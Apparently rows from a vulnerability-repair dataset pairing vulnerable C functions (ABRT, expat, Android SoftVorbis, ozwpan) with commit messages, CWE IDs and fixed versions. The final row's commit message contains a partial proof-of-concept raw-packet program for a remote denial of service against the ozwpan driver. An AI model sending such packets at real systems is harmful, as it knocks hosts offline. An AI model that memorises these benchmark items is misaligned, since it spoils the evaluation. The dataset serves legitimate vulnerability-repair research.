value = get_map_string_item_or_NULL(settings, "SaveFullCore");
setting_SaveFullCore = value ? string_to_bool(value) : true;
value = get_map_string_item_or_NULL(settings, "CreateCoreBacktrace");
setting_CreateCoreBacktrace = value ? string_to_bool(value) : true;
value = get_map_string_item_or_NULL(settings, "SaveContainerizedPackageData");
setting_SaveContainerizedPackageData = value && string_to_bool(value);
/* Do not call abrt-action-save-package-data with process's root, if ExploreChroots is disabled. */
if (!g_settings_explorechroots)
{
if (setting_SaveContainerizedPackageData)
log_warning("Ignoring SaveContainerizedPackageData because ExploreChroots is disabled");
setting_SaveContainerizedPackageData = false;
}
value = get_map_string_item_or_NULL(settings, "StandaloneHook");
setting_StandaloneHook = value && string_to_bool(value);
value = get_map_string_item_or_NULL(settings, "VerboseLog");
if (value)
g_verbose = xatoi_positive(value);
free_map_string(settings);
}
if (argc == 2 && strcmp(argv[1], "--config-test"))
return test_configuration(setting_SaveFullCore, setting_CreateCoreBacktrace);
if (argc < 8)
{
/* percent specifier: %s %c %p %u %g %t %e %P %i*/
/* argv: [0] [1] [2] [3] [4] [5] [6] [7] [8] [9]*/
error_msg_and_die("Usage: %s SIGNO CORE_SIZE_LIMIT PID UID GID TIME BINARY_NAME GLOBAL_PID [TID]", argv[0]);
}
/* Not needed on 2.6.30.
* At least 2.6.18 has a bug where
* argv[1] = "SIGNO CORE_SIZE_LIMIT PID ..."
* argv[2] = "CORE_SIZE_LIMIT PID ..."
* and so on. Fixing it:
*/
if (strchr(argv[1], ' '))
{
int i;
for (i = 1; argv[i]; i++)
{
strchrnul(argv[i], ' ')[0] = '\0';
}
}
errno = 0;
const char* signal_str = argv[1];
int signal_no = xatoi_positive(signal_str);
off_t ulimit_c = strtoull(argv[2], NULL, 10);
if (ulimit_c < 0) /* unlimited? */
{
/* set to max possible >0 value */
ulimit_c = ~((off_t)1 << (sizeof(off_t)*8-1));
}
const char *pid_str = argv[3];
pid_t local_pid = xatoi_positive(argv[3]);
uid_t uid = xatoi_positive(argv[4]);
if (errno || local_pid <= 0)
{
perror_msg_and_die("PID '%s' or limit '%s' is bogus", argv[3], argv[2]);
}
{
char *s = xmalloc_fopen_fgetline_fclose(VAR_RUN"/abrt/saved_core_pattern");
/* If we have a saved pattern and it's not a "|PROG ARGS" thing... */
if (s && s[0] != '|')
core_basename = s;
else
free(s);
}
const char *global_pid_str = argv[8];
pid_t pid = xatoi_positive(argv[8]);
pid_t tid = -1;
const char *tid_str = argv[9];
if (tid_str)
{
tid = xatoi_positive(tid_str);
}
char path[PATH_MAX];
char *executable = get_executable(pid);
if (executable && strstr(executable, "/abrt-hook-ccpp"))
{
error_msg_and_die("PID %lu is '%s', not dumping it to avoid recursion",
(long)pid, executable);
}
user_pwd = get_cwd(pid); /* may be NULL on error */
log_notice("user_pwd:'%s'", user_pwd);
sprintf(path, "/proc/%lu/status", (long)pid);
char *proc_pid_status = xmalloc_xopen_read_close(path, /*maxsz:*/ NULL);
uid_t fsuid = uid;
uid_t tmp_fsuid = get_fsuid(proc_pid_status);
if (tmp_fsuid < 0)
perror_msg_and_die("Can't parse 'Uid: line' in /proc/%lu/status", (long)pid);
const int fsgid = get_fsgid(proc_pid_status);
if (fsgid < 0)
error_msg_and_die("Can't parse 'Gid: line' in /proc/%lu/status", (long)pid);
int suid_policy = dump_suid_policy();
if (tmp_fsuid != uid)
{
/* use root for suided apps unless it's explicitly set to UNSAFE */
fsuid = 0;
if (suid_policy == DUMP_SUID_UNSAFE)
fsuid = tmp_fsuid;
else
{
g_user_core_flags = O_EXCL;
g_need_nonrelative = 1;
}
}
/* Open a fd to compat coredump, if requested and is possible */
int user_core_fd = -1;
if (setting_MakeCompatCore && ulimit_c != 0)
/* note: checks "user_pwd == NULL" inside; updates core_basename */
user_core_fd = open_user_core(uid, fsuid, fsgid, pid, &argv[1]);
if (executable == NULL)
{
/* readlink on /proc/$PID/exe failed, don't create abrt dump dir */
error_msg("Can't read /proc/%lu/exe link", (long)pid);
return create_user_core(user_core_fd, pid, ulimit_c);
}
const char *signame = NULL;
if (!signal_is_fatal(signal_no, &signame))
return create_user_core(user_core_fd, pid, ulimit_c); // not a signal we care about
const int abrtd_running = daemon_is_ok();
if (!setting_StandaloneHook && !abrtd_running)
{
/* not an error, exit with exit code 0 */
log("abrtd is not running. If it crashed, "
"/proc/sys/kernel/core_pattern contains a stale value, "
"consider resetting it to 'core'"
);
return create_user_core(user_core_fd, pid, ulimit_c);
}
if (setting_StandaloneHook)
ensure_writable_dir(g_settings_dump_location, DEFAULT_DUMP_LOCATION_MODE, "abrt");
if (g_settings_nMaxCrashReportsSize > 0)
{
/* If free space is less than 1/4 of MaxCrashReportsSize... */
if (low_free_space(g_settings_nMaxCrashReportsSize, g_settings_dump_location))
return create_user_core(user_core_fd, pid, ulimit_c);
}
/* Check /var/tmp/abrt/last-ccpp marker, do not dump repeated crashes
* if they happen too often. Else, write new marker value.
*/
snprintf(path, sizeof(path), "%s/last-ccpp", g_settings_dump_location);
if (check_recent_crash_file(path, executable))
{
/* It is a repeating crash */
return create_user_core(user_core_fd, pid, ulimit_c);
}
const char *last_slash = strrchr(executable, '/');
if (last_slash && strncmp(++last_slash, "abrt", 4) == 0)
{
if (g_settings_debug_level == 0)
{
log_warning("Ignoring crash of %s (SIG%s).",
executable, signame ? signame : signal_str);
goto cleanup_and_exit;
}
/* If abrtd/abrt-foo crashes, we don't want to create a _directory_,
* since that can make new copy of abrtd to process it,
* and maybe crash again...
* Unlike dirs, mere files are ignored by abrtd.
*/
if (snprintf(path, sizeof(path), "%s/%s-coredump", g_settings_dump_location, last_slash) >= sizeof(path))
error_msg_and_die("Error saving '%s': truncated long file path", path);
unlink(path);
int abrt_core_fd = xopen3(path, O_WRONLY | O_CREAT | O_EXCL, 0600);
off_t core_size = copyfd_eof(STDIN_FILENO, abrt_core_fd, COPYFD_SPARSE);
if (core_size < 0 || fsync(abrt_core_fd) != 0)
{
unlink(path);
/* copyfd_eof logs the error including errno string,
* but it does not log file name */
error_msg_and_die("Error saving '%s'", path);
}
log_notice("Saved core dump of pid %lu (%s) to %s (%llu bytes)", (long)pid, executable, path, (long long)core_size);
err = 0;
goto cleanup_and_exit;
}
unsigned path_len = snprintf(path, sizeof(path), "%s/ccpp-%s-%lu.new",
g_settings_dump_location, iso_date_string(NULL), (long)pid);
if (path_len >= (sizeof(path) - sizeof("/"FILENAME_COREDUMP)))
{
return create_user_core(user_core_fd, pid, ulimit_c);
}
/* If you don't want to have fs owner as root then:
*
* - use fsuid instead of uid for fs owner, so we don't expose any
* sensitive information of suided app in /var/(tmp|spool)/abrt
*
* - use dd_create_skeleton() and dd_reset_ownership(), when you finish
* creating the new dump directory, to prevent the real owner to write to
* the directory until the hook is done (avoid race conditions and defend
* hard and symbolic link attacs)
*/
dd = dd_create(path, /*fs owner*/0, DEFAULT_DUMP_DIR_MODE);
if (dd)
{
char source_filename[sizeof("/proc/%lu/somewhat_long_name") + sizeof(long)*3];
int source_base_ofs = sprintf(source_filename, "/proc/%lu/root", (long)pid);
source_base_ofs -= strlen("root");
/* What's wrong on using /proc/[pid]/root every time ?*/
/* It creates os_info_in_root_dir for all crashes. */
char *rootdir = process_has_own_root(pid) ? get_rootdir(pid) : NULL;
/* Reading data from an arbitrary root directory is not secure. */
if (g_settings_explorechroots)
{
/* Yes, test 'rootdir' but use 'source_filename' because 'rootdir' can
* be '/' for a process with own namespace. 'source_filename' is /proc/[pid]/root. */
dd_create_basic_files(dd, fsuid, (rootdir != NULL) ? source_filename : NULL);
}
else
{
dd_create_basic_files(dd, fsuid, NULL);
}
char *dest_filename = concat_path_file(dd->dd_dirname, "also_somewhat_longish_name");
char *dest_base = strrchr(dest_filename, '/') + 1;
strcpy(source_filename + source_base_ofs, "maps");
dd_copy_file(dd, FILENAME_MAPS, source_filename);
strcpy(source_filename + source_base_ofs, "limits");
dd_copy_file(dd, FILENAME_LIMITS, source_filename);
strcpy(source_filename + source_base_ofs, "cgroup");
dd_copy_file(dd, FILENAME_CGROUP, source_filename);
strcpy(source_filename + source_base_ofs, "mountinfo");
dd_copy_file(dd, FILENAME_MOUNTINFO, source_filename);
strcpy(dest_base, FILENAME_OPEN_FDS);
strcpy(source_filename + source_base_ofs, "fd");
dump_fd_info_ext(dest_filename, source_filename, dd->dd_uid, dd->dd_gid);
strcpy(dest_base, FILENAME_NAMESPACES);
dump_namespace_diff_ext(dest_filename, 1, pid, dd->dd_uid, dd->dd_gid);
free(dest_filename);
char *tmp = NULL;
get_env_variable(pid, "container", &tmp);
if (tmp != NULL)
{
dd_save_text(dd, FILENAME_CONTAINER, tmp);
free(tmp);
tmp = NULL;
}
get_env_variable(pid, "container_uuid", &tmp);
if (tmp != NULL)
{
dd_save_text(dd, FILENAME_CONTAINER_UUID, tmp);
free(tmp);
}
/* There's no need to compare mount namespaces and search for '/' in
* mountifo. Comparison of inodes of '/proc/[pid]/root' and '/' works
* fine. If those inodes do not equal each other, we have to verify
* that '/proc/[pid]/root' is not a symlink to a chroot.
*/
const int containerized = (rootdir != NULL && strcmp(rootdir, "/") == 0);
if (containerized)
{
log_debug("Process %d is considered to be containerized", pid);
pid_t container_pid;
if (get_pid_of_container(pid, &container_pid) == 0)
{
char *container_cmdline = get_cmdline(container_pid);
dd_save_text(dd, FILENAME_CONTAINER_CMDLINE, container_cmdline);
free(container_cmdline);
}
}
dd_save_text(dd, FILENAME_ANALYZER, "abrt-ccpp");
dd_save_text(dd, FILENAME_TYPE, "CCpp");
dd_save_text(dd, FILENAME_EXECUTABLE, executable);
dd_save_text(dd, FILENAME_PID, pid_str);
dd_save_text(dd, FILENAME_GLOBAL_PID, global_pid_str);
dd_save_text(dd, FILENAME_PROC_PID_STATUS, proc_pid_status);
if (user_pwd)
dd_save_text(dd, FILENAME_PWD, user_pwd);
if (tid_str)
dd_save_text(dd, FILENAME_TID, tid_str);
if (rootdir)
{
if (strcmp(rootdir, "/") != 0)
dd_save_text(dd, FILENAME_ROOTDIR, rootdir);
}
free(rootdir);
char *reason = xasprintf("%s killed by SIG%s",
last_slash, signame ? signame : signal_str);
dd_save_text(dd, FILENAME_REASON, reason);
free(reason);
char *cmdline = get_cmdline(pid);
dd_save_text(dd, FILENAME_CMDLINE, cmdline ? : "");
free(cmdline);
char *environ = get_environ(pid);
dd_save_text(dd, FILENAME_ENVIRON, environ ? : "");
free(environ);
char *fips_enabled = xmalloc_fopen_fgetline_fclose("/proc/sys/crypto/fips_enabled");
if (fips_enabled)
{
if (strcmp(fips_enabled, "0") != 0)
dd_save_text(dd, "fips_enabled", fips_enabled);
free(fips_enabled);
}
dd_save_text(dd, FILENAME_ABRT_VERSION, VERSION);
/* In case of errors, treat the process as if it has locked memory */
long unsigned lck_bytes = ULONG_MAX;
const char *vmlck = strstr(proc_pid_status, "VmLck:");
if (vmlck == NULL)
error_msg("/proc/%s/status does not contain 'VmLck:' line", pid_str);
else if (1 != sscanf(vmlck + 6, "%lu kB\n", &lck_bytes))
error_msg("Failed to parse 'VmLck:' line in /proc/%s/status", pid_str);
if (lck_bytes)
{
log_notice("Process %s of user %lu has locked memory",
pid_str, (long unsigned)uid);
dd_mark_as_notreportable(dd, "The process had locked memory "
"which usually indicates efforts to protect sensitive "
"data (passwords) from being written to disk.\n"
"In order to avoid sensitive information leakages, "
"ABRT will not allow you to report this problem to "
"bug tracking tools");
}
if (setting_SaveBinaryImage)
{
if (save_crashing_binary(pid, dd))
{
error_msg("Error saving '%s'", path);
goto cleanup_and_exit;
}
}
off_t core_size = 0;
if (setting_SaveFullCore)
{
strcpy(path + path_len, "/"FILENAME_COREDUMP);
int abrt_core_fd = create_or_die(path, user_core_fd);
/* We write both coredumps at once.
* We can't write user coredump first, since it might be truncated
* and thus can't be copied and used as abrt coredump;
* and if we write abrt coredump first and then copy it as user one,
* then we have a race when process exits but coredump does not exist yet:
* $ echo -e '#include<signal.h>\nmain(){raise(SIGSEGV);}' | gcc -o test -x c -
* $ rm -f core*; ulimit -c unlimited; ./test; ls -l core*
* 21631 Segmentation fault (core dumped) ./test
* ls: cannot access core*: No such file or directory <=== BAD
*/
core_size = copyfd_sparse(STDIN_FILENO, abrt_core_fd, user_core_fd, ulimit_c);
close_user_core(user_core_fd, core_size);
if (fsync(abrt_core_fd) != 0 || close(abrt_core_fd) != 0 || core_size < 0)
{
unlink(path);
/* copyfd_sparse logs the error including errno string,
* but it does not log file name */
error_msg("Error writing '%s'", path);
goto cleanup_and_exit;
}
}
else
{
/* User core is created even if WriteFullCore is off. */
create_user_core(user_core_fd, pid, ulimit_c);
}
/* User core is either written or closed */
user_core_fd = -1;
/*
* ! No other errors should cause removal of the user core !
*/
/* Because of #1211835 and #1126850 */
#if 0
/* Save JVM crash log if it exists. (JVM's coredump per se
* is nearly useless for JVM developers)
*/
{
char *java_log = xasprintf("/tmp/jvm-%lu/hs_error.log", (long)pid);
int src_fd = open(java_log, O_RDONLY);
free(java_log);
/* If we couldn't open the error log in /tmp directory we can try to
* read the log from the current directory. It may produce AVC, it
* may produce some error log but all these are expected.
*/
if (src_fd < 0)
{
java_log = xasprintf("%s/hs_err_pid%lu.log", user_pwd, (long)pid);
src_fd = open(java_log, O_RDONLY);
free(java_log);
}
if (src_fd >= 0)
{
strcpy(path + path_len, "/hs_err.log");
int dst_fd = create_or_die(path, user_core_fd);
off_t sz = copyfd_eof(src_fd, dst_fd, COPYFD_SPARSE);
if (close(dst_fd) != 0 || sz < 0)
{
error_msg("Error saving '%s'", path);
goto cleanup_and_exit;
}
close(src_fd);
}
}
#endif
/* Perform crash-time unwind of the guilty thread. */
if (tid > 0 && setting_CreateCoreBacktrace)
create_core_backtrace(tid, executable, signal_no, dd);
/* We close dumpdir before we start catering for crash storm case.
* Otherwise, delete_dump_dir's from other concurrent
* CCpp's won't be able to delete our dump (their delete_dump_dir
* will wait for us), and we won't be able to delete their dumps.
* Classic deadlock.
*/
dd_close(dd);
dd = NULL;
path[path_len] = '\0'; /* path now contains only directory name */
if (abrtd_running && setting_SaveContainerizedPackageData && containerized)
{ /* Do we really need to run rpm from core_pattern hook? */
sprintf(source_filename, "/proc/%lu/root", (long)pid);
const char *cmd_args[6];
cmd_args[0] = BIN_DIR"/abrt-action-save-package-data";
cmd_args[1] = "-d";
cmd_args[2] = path;
cmd_args[3] = "-r";
cmd_args[4] = source_filename;
cmd_args[5] = NULL;
pid_t pid = fork_execv_on_steroids(0, (char **)cmd_args, NULL, NULL, path, 0);
int stat;
safe_waitpid(pid, &stat, 0);
}
char *newpath = xstrndup(path, path_len - (sizeof(".new")-1));
if (rename(path, newpath) == 0)
strcpy(path, newpath);
free(newpath);
if (core_size > 0)
log_notice("Saved core dump of pid %lu (%s) to %s (%llu bytes)",
(long)pid, executable, path, (long long)core_size);
if (abrtd_running)
notify_new_path(path);
/* rhbz#539551: "abrt going crazy when crashing process is respawned" */
if (g_settings_nMaxCrashReportsSize > 0)
{
/* x1.25 and round up to 64m: go a bit up, so that usual in-daemon trimming
* kicks in first, and we don't "fight" with it:
*/
unsigned maxsize = g_settings_nMaxCrashReportsSize + g_settings_nMaxCrashReportsSize / 4;
maxsize |= 63;
trim_problem_dirs(g_settings_dump_location, maxsize * (double)(1024*1024), path);
}
err = 0;
}
else
{
/* We didn't create abrt dump, but may need to create compat coredump */
return create_user_core(user_core_fd, pid, ulimit_c);
}
cleanup_and_exit:
if (dd)
dd_delete(dd);
if (user_core_fd >= 0)
unlinkat(dirfd(proc_cwd), core_basename, /*only files*/0);
if (proc_cwd != NULL)
closedir(proc_cwd);
return err;
}
| 166,604 |
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation. | Code: prologProcessor(XML_Parser parser, const char *s, const char *end,
const char **nextPtr) {
const char *next = s;
int tok = XmlPrologTok(parser->m_encoding, s, end, &next);
return doProlog(parser, parser->m_encoding, s, end, tok, next, nextPtr,
(XML_Bool)! parser->m_parsingStatus.finalBuffer);
}
Commit Message: xmlparse.c: Deny internal entities closing the doctype
CWE ID: CWE-611 | prologProcessor(XML_Parser parser, const char *s, const char *end,
const char **nextPtr) {
const char *next = s;
int tok = XmlPrologTok(parser->m_encoding, s, end, &next);
return doProlog(parser, parser->m_encoding, s, end, tok, next, nextPtr,
(XML_Bool)! parser->m_parsingStatus.finalBuffer, XML_TRUE);
}
| 169,533 |
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation. | Code: void SoftVorbis::onQueueFilled(OMX_U32 portIndex) {
List<BufferInfo *> &inQueue = getPortQueue(0);
List<BufferInfo *> &outQueue = getPortQueue(1);
if (mOutputPortSettingsChange != NONE) {
return;
}
if (portIndex == 0 && mInputBufferCount < 2) {
BufferInfo *info = *inQueue.begin();
OMX_BUFFERHEADERTYPE *header = info->mHeader;
const uint8_t *data = header->pBuffer + header->nOffset;
size_t size = header->nFilledLen;
ogg_buffer buf;
ogg_reference ref;
oggpack_buffer bits;
makeBitReader(
(const uint8_t *)data + 7, size - 7,
&buf, &ref, &bits);
if (mInputBufferCount == 0) {
CHECK(mVi == NULL);
mVi = new vorbis_info;
vorbis_info_init(mVi);
CHECK_EQ(0, _vorbis_unpack_info(mVi, &bits));
} else {
CHECK_EQ(0, _vorbis_unpack_books(mVi, &bits));
CHECK(mState == NULL);
mState = new vorbis_dsp_state;
CHECK_EQ(0, vorbis_dsp_init(mState, mVi));
notify(OMX_EventPortSettingsChanged, 1, 0, NULL);
mOutputPortSettingsChange = AWAITING_DISABLED;
}
inQueue.erase(inQueue.begin());
info->mOwnedByUs = false;
notifyEmptyBufferDone(header);
++mInputBufferCount;
return;
}
while ((!inQueue.empty() || (mSawInputEos && !mSignalledOutputEos)) && !outQueue.empty()) {
BufferInfo *inInfo = NULL;
OMX_BUFFERHEADERTYPE *inHeader = NULL;
if (!inQueue.empty()) {
inInfo = *inQueue.begin();
inHeader = inInfo->mHeader;
}
BufferInfo *outInfo = *outQueue.begin();
OMX_BUFFERHEADERTYPE *outHeader = outInfo->mHeader;
int32_t numPageSamples = 0;
if (inHeader) {
if (inHeader->nFlags & OMX_BUFFERFLAG_EOS) {
mSawInputEos = true;
}
if (inHeader->nFilledLen || !mSawInputEos) {
CHECK_GE(inHeader->nFilledLen, sizeof(numPageSamples));
memcpy(&numPageSamples,
inHeader->pBuffer
+ inHeader->nOffset + inHeader->nFilledLen - 4,
sizeof(numPageSamples));
if (inHeader->nOffset == 0) {
mAnchorTimeUs = inHeader->nTimeStamp;
mNumFramesOutput = 0;
}
inHeader->nFilledLen -= sizeof(numPageSamples);;
}
}
if (numPageSamples >= 0) {
mNumFramesLeftOnPage = numPageSamples;
}
ogg_buffer buf;
buf.data = inHeader ? inHeader->pBuffer + inHeader->nOffset : NULL;
buf.size = inHeader ? inHeader->nFilledLen : 0;
buf.refcount = 1;
buf.ptr.owner = NULL;
ogg_reference ref;
ref.buffer = &buf;
ref.begin = 0;
ref.length = buf.size;
ref.next = NULL;
ogg_packet pack;
pack.packet = &ref;
pack.bytes = ref.length;
pack.b_o_s = 0;
pack.e_o_s = 0;
pack.granulepos = 0;
pack.packetno = 0;
int numFrames = 0;
outHeader->nFlags = 0;
int err = vorbis_dsp_synthesis(mState, &pack, 1);
if (err != 0) {
#if !defined(__arm__) && !defined(__aarch64__)
ALOGV("vorbis_dsp_synthesis returned %d", err);
#else
ALOGW("vorbis_dsp_synthesis returned %d", err);
#endif
} else {
numFrames = vorbis_dsp_pcmout(
mState, (int16_t *)outHeader->pBuffer,
(kMaxNumSamplesPerBuffer / mVi->channels));
if (numFrames < 0) {
ALOGE("vorbis_dsp_pcmout returned %d", numFrames);
numFrames = 0;
}
}
if (mNumFramesLeftOnPage >= 0) {
if (numFrames > mNumFramesLeftOnPage) {
ALOGV("discarding %d frames at end of page",
numFrames - mNumFramesLeftOnPage);
numFrames = mNumFramesLeftOnPage;
if (mSawInputEos) {
outHeader->nFlags = OMX_BUFFERFLAG_EOS;
mSignalledOutputEos = true;
}
}
mNumFramesLeftOnPage -= numFrames;
}
outHeader->nFilledLen = numFrames * sizeof(int16_t) * mVi->channels;
outHeader->nOffset = 0;
outHeader->nTimeStamp =
mAnchorTimeUs
+ (mNumFramesOutput * 1000000ll) / mVi->rate;
mNumFramesOutput += numFrames;
if (inHeader) {
inInfo->mOwnedByUs = false;
inQueue.erase(inQueue.begin());
inInfo = NULL;
notifyEmptyBufferDone(inHeader);
inHeader = NULL;
}
outInfo->mOwnedByUs = false;
outQueue.erase(outQueue.begin());
outInfo = NULL;
notifyFillBufferDone(outHeader);
outHeader = NULL;
++mInputBufferCount;
}
}
Commit Message: DO NOT MERGE codecs: check OMX buffer size before use in (vorbis|opus)dec
Bug: 27833616
Change-Id: I1ccdd16a00741da072527a6d13e87fd7c7fe8c54
CWE ID: CWE-20 | void SoftVorbis::onQueueFilled(OMX_U32 portIndex) {
List<BufferInfo *> &inQueue = getPortQueue(0);
List<BufferInfo *> &outQueue = getPortQueue(1);
if (mOutputPortSettingsChange != NONE) {
return;
}
if (portIndex == 0 && mInputBufferCount < 2) {
BufferInfo *info = *inQueue.begin();
OMX_BUFFERHEADERTYPE *header = info->mHeader;
const uint8_t *data = header->pBuffer + header->nOffset;
size_t size = header->nFilledLen;
if (size < 7) {
ALOGE("Too small input buffer: %zu bytes", size);
android_errorWriteLog(0x534e4554, "27833616");
notify(OMX_EventError, OMX_ErrorUndefined, 0, NULL);
return;
}
ogg_buffer buf;
ogg_reference ref;
oggpack_buffer bits;
makeBitReader(
(const uint8_t *)data + 7, size - 7,
&buf, &ref, &bits);
if (mInputBufferCount == 0) {
CHECK(mVi == NULL);
mVi = new vorbis_info;
vorbis_info_init(mVi);
CHECK_EQ(0, _vorbis_unpack_info(mVi, &bits));
} else {
CHECK_EQ(0, _vorbis_unpack_books(mVi, &bits));
CHECK(mState == NULL);
mState = new vorbis_dsp_state;
CHECK_EQ(0, vorbis_dsp_init(mState, mVi));
notify(OMX_EventPortSettingsChanged, 1, 0, NULL);
mOutputPortSettingsChange = AWAITING_DISABLED;
}
inQueue.erase(inQueue.begin());
info->mOwnedByUs = false;
notifyEmptyBufferDone(header);
++mInputBufferCount;
return;
}
while ((!inQueue.empty() || (mSawInputEos && !mSignalledOutputEos)) && !outQueue.empty()) {
BufferInfo *inInfo = NULL;
OMX_BUFFERHEADERTYPE *inHeader = NULL;
if (!inQueue.empty()) {
inInfo = *inQueue.begin();
inHeader = inInfo->mHeader;
}
BufferInfo *outInfo = *outQueue.begin();
OMX_BUFFERHEADERTYPE *outHeader = outInfo->mHeader;
int32_t numPageSamples = 0;
if (inHeader) {
if (inHeader->nFlags & OMX_BUFFERFLAG_EOS) {
mSawInputEos = true;
}
if (inHeader->nFilledLen || !mSawInputEos) {
CHECK_GE(inHeader->nFilledLen, sizeof(numPageSamples));
memcpy(&numPageSamples,
inHeader->pBuffer
+ inHeader->nOffset + inHeader->nFilledLen - 4,
sizeof(numPageSamples));
if (inHeader->nOffset == 0) {
mAnchorTimeUs = inHeader->nTimeStamp;
mNumFramesOutput = 0;
}
inHeader->nFilledLen -= sizeof(numPageSamples);;
}
}
if (numPageSamples >= 0) {
mNumFramesLeftOnPage = numPageSamples;
}
ogg_buffer buf;
buf.data = inHeader ? inHeader->pBuffer + inHeader->nOffset : NULL;
buf.size = inHeader ? inHeader->nFilledLen : 0;
buf.refcount = 1;
buf.ptr.owner = NULL;
ogg_reference ref;
ref.buffer = &buf;
ref.begin = 0;
ref.length = buf.size;
ref.next = NULL;
ogg_packet pack;
pack.packet = &ref;
pack.bytes = ref.length;
pack.b_o_s = 0;
pack.e_o_s = 0;
pack.granulepos = 0;
pack.packetno = 0;
int numFrames = 0;
outHeader->nFlags = 0;
int err = vorbis_dsp_synthesis(mState, &pack, 1);
if (err != 0) {
#if !defined(__arm__) && !defined(__aarch64__)
ALOGV("vorbis_dsp_synthesis returned %d", err);
#else
ALOGW("vorbis_dsp_synthesis returned %d", err);
#endif
} else {
size_t numSamplesPerBuffer = kMaxNumSamplesPerBuffer;
if (numSamplesPerBuffer > outHeader->nAllocLen / sizeof(int16_t)) {
numSamplesPerBuffer = outHeader->nAllocLen / sizeof(int16_t);
android_errorWriteLog(0x534e4554, "27833616");
}
numFrames = vorbis_dsp_pcmout(
mState, (int16_t *)outHeader->pBuffer,
(numSamplesPerBuffer / mVi->channels));
if (numFrames < 0) {
ALOGE("vorbis_dsp_pcmout returned %d", numFrames);
numFrames = 0;
}
}
if (mNumFramesLeftOnPage >= 0) {
if (numFrames > mNumFramesLeftOnPage) {
ALOGV("discarding %d frames at end of page",
numFrames - mNumFramesLeftOnPage);
numFrames = mNumFramesLeftOnPage;
if (mSawInputEos) {
outHeader->nFlags = OMX_BUFFERFLAG_EOS;
mSignalledOutputEos = true;
}
}
mNumFramesLeftOnPage -= numFrames;
}
outHeader->nFilledLen = numFrames * sizeof(int16_t) * mVi->channels;
outHeader->nOffset = 0;
outHeader->nTimeStamp =
mAnchorTimeUs
+ (mNumFramesOutput * 1000000ll) / mVi->rate;
mNumFramesOutput += numFrames;
if (inHeader) {
inInfo->mOwnedByUs = false;
inQueue.erase(inQueue.begin());
inInfo = NULL;
notifyEmptyBufferDone(inHeader);
inHeader = NULL;
}
outInfo->mOwnedByUs = false;
outQueue.erase(outQueue.begin());
outInfo = NULL;
notifyFillBufferDone(outHeader);
outHeader = NULL;
++mInputBufferCount;
}
}
| 173,776 |
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation. | Code: static void oz_usb_handle_ep_data(struct oz_usb_ctx *usb_ctx,
struct oz_usb_hdr *usb_hdr, int len)
{
struct oz_data *data_hdr = (struct oz_data *)usb_hdr;
switch (data_hdr->format) {
case OZ_DATA_F_MULTIPLE_FIXED: {
struct oz_multiple_fixed *body =
(struct oz_multiple_fixed *)data_hdr;
u8 *data = body->data;
int n;
if (!body->unit_size)
break;
n = (len - sizeof(struct oz_multiple_fixed)+1)
/ body->unit_size;
while (n--) {
oz_hcd_data_ind(usb_ctx->hport, body->endpoint,
data, body->unit_size);
data += body->unit_size;
}
}
break;
case OZ_DATA_F_ISOC_FIXED: {
struct oz_isoc_fixed *body =
(struct oz_isoc_fixed *)data_hdr;
int data_len = len-sizeof(struct oz_isoc_fixed)+1;
int unit_size = body->unit_size;
u8 *data = body->data;
int count;
int i;
if (!unit_size)
break;
count = data_len/unit_size;
for (i = 0; i < count; i++) {
oz_hcd_data_ind(usb_ctx->hport,
body->endpoint, data, unit_size);
data += unit_size;
}
}
break;
}
}
Commit Message: ozwpan: unchecked signed subtraction leads to DoS
The subtraction here was using a signed integer and did not have any
bounds checking at all. This commit adds proper bounds checking, made
easy by use of an unsigned integer. This way, a single packet won't be
able to remotely trigger a massive loop, locking up the system for a
considerable amount of time. A PoC follows below, which requires
ozprotocol.h from this module.
=-=-=-=-=-=
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <endian.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include "ozprotocol.h"
static int hex2num(char c)
{
if (c >= '0' && c <= '9')
return c - '0';
if (c >= 'a' && c <= 'f')
return c - 'a' + 10;
if (c >= 'A' && c <= 'F')
return c - 'A' + 10;
return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
int i;
for (i = 0; i < 6; i++) {
int a, b;
a = hex2num(*txt++);
if (a < 0)
return -1;
b = hex2num(*txt++);
if (b < 0)
return -1;
*addr++ = (a << 4) | b;
if (i < 5 && *txt++ != ':')
return -1;
}
return 0;
}
int main(int argc, char *argv[])
{
if (argc < 3) {
fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
return 1;
}
uint8_t dest_mac[6];
if (hwaddr_aton(argv[2], dest_mac)) {
fprintf(stderr, "Invalid mac address.\n");
return 1;
}
int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (sockfd < 0) {
perror("socket");
return 1;
}
struct ifreq if_idx;
int interface_index;
strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
perror("SIOCGIFINDEX");
return 1;
}
interface_index = if_idx.ifr_ifindex;
if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
perror("SIOCGIFHWADDR");
return 1;
}
uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_elt_connect_req oz_elt_connect_req;
struct oz_elt oz_elt2;
struct oz_multiple_fixed oz_multiple_fixed;
} __packed packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(0)
},
.oz_elt = {
.type = OZ_ELT_CONNECT_REQ,
.length = sizeof(struct oz_elt_connect_req)
},
.oz_elt_connect_req = {
.mode = 0,
.resv1 = {0},
.pd_info = 0,
.session_id = 0,
